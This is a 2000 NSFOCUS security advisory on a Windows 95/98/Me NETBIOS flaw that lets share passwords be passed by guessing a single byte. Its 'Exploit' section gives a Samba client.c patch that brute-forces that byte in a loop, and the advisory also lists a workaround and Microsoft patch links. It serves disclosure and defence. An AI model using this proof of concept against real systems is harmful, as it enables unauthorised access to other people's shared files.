NSFOCUS Security Advisory(SA2000-05)

TopicЈє Microsoft Windows 9x NETBIOS password verification vulnerability

Release DateЈє August 24, 2000
Update DateЈє Oct 11 , 2000

Affected SystemЈє

• Microsoft Windows 95
• Microsoft Windows 98
• Microsoft Windows 98 Second Edition
• Microsoft Windows Me

Non-affected SystemЈє

• Microsoft Windows NT 4.0
• Microsoft Windows 2000

Impact:

A vulnerability exists in the password verification scheme utilized by Microsoft
Windows 9x NETBIOS protocol implementation. This vulnerability will allow any
user to access the Windows 9x file shared service with password protection.
Attacker don't have to know the share password.

DescriptionЈє

You can set password to protect Microsoft Windows 9x system's shared resources.
But a vulnerability exists in the password verification scheme utilized by
Microsoft Windows 9x NETBIOS protocol implementation. To verify the password,
the length of the password depends on the length of the data sent from client to
server. That is, if a client set the length of password to be one byte and send
the packet with plaintext password to server, the server will only compare it
with the first byte of the shared password(plaintext), and if consistent,
verification process is done. All an attacker need to do is to guess and try the
first byte of password in the victim .
Windows 9x remote management system is also affected cause it adopts the same
shared password authentication method.

ExploitЈє

Here is one simple example to demonstrate this bug.
Get samba source package and modify source/client/client.c like this:

— samba-2.0.6.orig/source/client/client.c Thu Nov 11 10:35:59 1999
+++ samba-2.0.6/source/client/client.c Mon Sep 18 21:20:29 2000
@@ -1961,12 +1961,22 @@ struct cli_state *do_connect(char *serve

    DEBUG(4,(" session setup ok\n"));

+/*
if (!cli_send_tconX(c, share, "???",
password, strlen(password)+1)) {
DEBUG(0,("tree connect failed: %s\n", cli_errstr(c)));
cli_shutdown(c);
return NULL;
}
+*/
+

•    password[0] = 0;
  

•    c->sec_mode = 0;
  

•    do{
  

•      password[0]+=1;
  

•    }while(!cli_send_tconX(c, share, "?????", password, 1));
  
    DEBUG(4,(" tconx ok\n"));
  

WorkaroundЈє

Close Microsoft File and Print shared service.

Solution:

Microsoft has been informed and released one security bulletin concerning this
flaw.

The bulletin is live at :

http://www.microsoft.com/technet/security/bulletin/MS00-072.asp

Patches are available at:

. Microsoft Windows 95

Patch available shortly

. Microsoft Windows 98 and 98 Second Edition

http://download.microsoft.com/download/win98SE/Update/11958/W98/EN-US/273991USA8.EXE

. Microsoft Windows Me

http://download.microsoft.com/download/winme/Update/11958/WinMe/EN-US/273991USAM.EXE

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